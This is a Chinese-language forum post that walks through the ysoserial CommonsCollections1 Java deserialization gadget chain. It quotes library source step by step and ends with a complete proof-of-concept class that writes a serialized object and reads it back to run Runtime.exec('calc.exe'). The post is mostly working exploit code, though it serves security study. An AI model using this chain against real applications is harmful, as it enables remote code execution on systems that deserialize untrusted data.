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标题: ysoserial CommonsCollections1 [打印本页]

作者: 用多少眼泪才能让你相信 时间: 2022-10-5 23:01
标题: ysoserial CommonsCollections1

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

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0、先假设Runtime类可序列化，最终要实现：

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

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1、从最后一步开始，调用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

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public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }

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transform方法实现了完整的反射，通过InvokerTransformer构造方法传入方法和参数。
所以这一步的利用链

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

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2、InvokerTransformer的transform的调用，在ChainedTransformer的transform实现。
public ChainedTransformer(Transformer[] transformers) {
 　　super();
 　　iTransformers = transformers;
}
public Object transform(Object object) {
 　　for (int i = 0; i < iTransformers.length; i++) {
 　　　　object = iTransformers.transform(object);
 　　}
 　　return object;
}
如果Transformer[]里面的对象是：
Transformer[0]：new ConstantTransformer(runtime)
Transformer[1]：invokerTransformer
第一次循环：(new ConstantTransformer(runtime)).transform() runtime对象返回给object
第二次循环：invokerTransformer.transform(runtime)
所以这一步的利用链：
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
 chainedTransformer.transform(1);
3、ChainedTransformer的transform谁来调？LazyMap的get方法存在transform调用（key不存在的时候）。
public class LazyMap
 extends AbstractMapDecorator
 implements Map, Serializable {
public static Map decorate(Map map, Transformer factory) {
 return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
 super(map);
 if (factory == null) {
 throw new IllegalArgumentException("Factory must not be null");
 }
 this.factory = factory;
}
private void writeObject(ObjectOutputStream out) throws IOException {
 out.defaultWriteObject();
 out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
 in.defaultReadObject();
 map = (Map) in.readObject();
}
//-----------------------------------------------------------------------
public Object get(Object key) {
 // create value for key if key is not currently in the map
 if (map.containsKey(key) == false) {
 Object value = factory.transform(key);
 map.put(key, value);
 return value;
 }
 return map.get(key);
}
}
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通过decorate方法，修改this.factory为chainedTransformer对象，最后通过get不存在的key调用chainedTransformer的transform
所以利用链
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);
4、lazyMap的get谁来调用？这里面用的AnnotationInvocationHandler的invoke，该方法存在某个属性的get，属性可通过构造方法改变。
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
 Class<?>[] superInterfaces = type.getInterfaces();
 if (!type.isAnnotation() ||
 superInterfaces.length != 1 ||
 superInterfaces[0] != java.lang.annotation.Annotation.class)
 throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
 this.type = type;
 this.memberValues = memberValues;
}
public Object invoke(Object proxy, Method method, Object[] args) {
 String member = method.getName();
 Class<?>[] paramTypes = method.getParameterTypes();
 // Handle Object and Annotation methods
 if (member.equals("equals") && paramTypes.length == 1 &&
 paramTypes[0] == Object.class)
 return equalsImpl(args[0]);
 if (paramTypes.length != 0)
 throw new AssertionError("Too many parameters for an annotation method");
 switch(member) {
 case "toString":
 return toStringImpl();
 case "hashCode":
 return hashCodeImpl();
 case "annotationType":
 return type;
 }
 // Handle annotation member accessors
 Object result = memberValues.get(member);
 if (result == null)
 throw new IncompleteAnnotationException(type, member);
 if (result instanceof ExceptionProxy)
 throw ((ExceptionProxy) result).generateException();
 if (result.getClass().isArray() && Array.getLength(result) != 0)
 result = cloneArray(result);
 return result;
}
/**
 * This method, which clones its array argument, would not be necessary
 * if Cloneable had a public clone method.
 */ 
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因为AnnotationInvocationHandler类非public，通过反射调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
对象初始化memberValues，得到对象handler，接下来就是让handler对象执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap已经有了，那么应该怎么触发handler执行方法，来调用invoke方法
AnnotationInvocationHandler的readobject方法，存在对memberValues执行entrySet()
所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle
以下是AnnotationInvocationHandler的readobject重写
private void readObject(java.io.ObjectInputStream s)
 throws java.io.IOException, ClassNotFoundException {
 s.defaultReadObject();
 // Check to make sure that types have not evolved incompatibly
 AnnotationType annotationType = null;
 try {
 annotationType = AnnotationType.getInstance(type);
 } catch(IllegalArgumentException e) {
 // Class is no longer an annotation type; time to punch out
 throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
 }
 Map<String, Class<?>> memberTypes = annotationType.memberTypes();
 // If there are annotation members without values, that
 // situation is handled by the invoke method.
 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
 String name = memberValue.getKey();
 Class<?> memberType = memberTypes.get(name);
 if (memberType != null) { // i.e. member still exists
 Object value = memberValue.getValue();
 if (!(memberType.isInstance(value) ||
 value instanceof ExceptionProxy)) {
 memberValue.setValue(
 new AnnotationTypeMismatchExceptionProxy(
 value.getClass() + "[" + value + "]").setMember(
 annotationType.members().get(name)));
 }
 }
 }
} 最后AnnotationInvocationHandler对象反序列化，执行readobject也就触发了proxyMap的invoke方法 
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要解决的问题：Runtime类未实现Serializable，需要使用反射调用，反射方法用什么来触发执行？
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
反射方式实现：
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");
反射方法通过InvokerTransformer实现
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);
ChainedTransformer中的transform正好实现了这组链的调用
public Object transform(Object object) {
 for (int i = 0; i < iTransformers.length; i++) {
 object = iTransformers[i].transform(object);
 }
 return object;
} 所以最后runtime的实现利用链： 
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Transformer[] transformers = {
 　　new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 　　new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 　　new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);
最终实现的利用链：
public class CC1Test3 {
public static void main(String[] args) throws Exception {
 Class cr = Class.forName("java.lang.Runtime");
 Transformer[] transformers = {
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});
 HashMap hashMap = new HashMap();
 LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
 declaredConstructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
 InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
 objectOutputStream.writeObject(handle);
 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
 objectInputStream.readObject();
}
}
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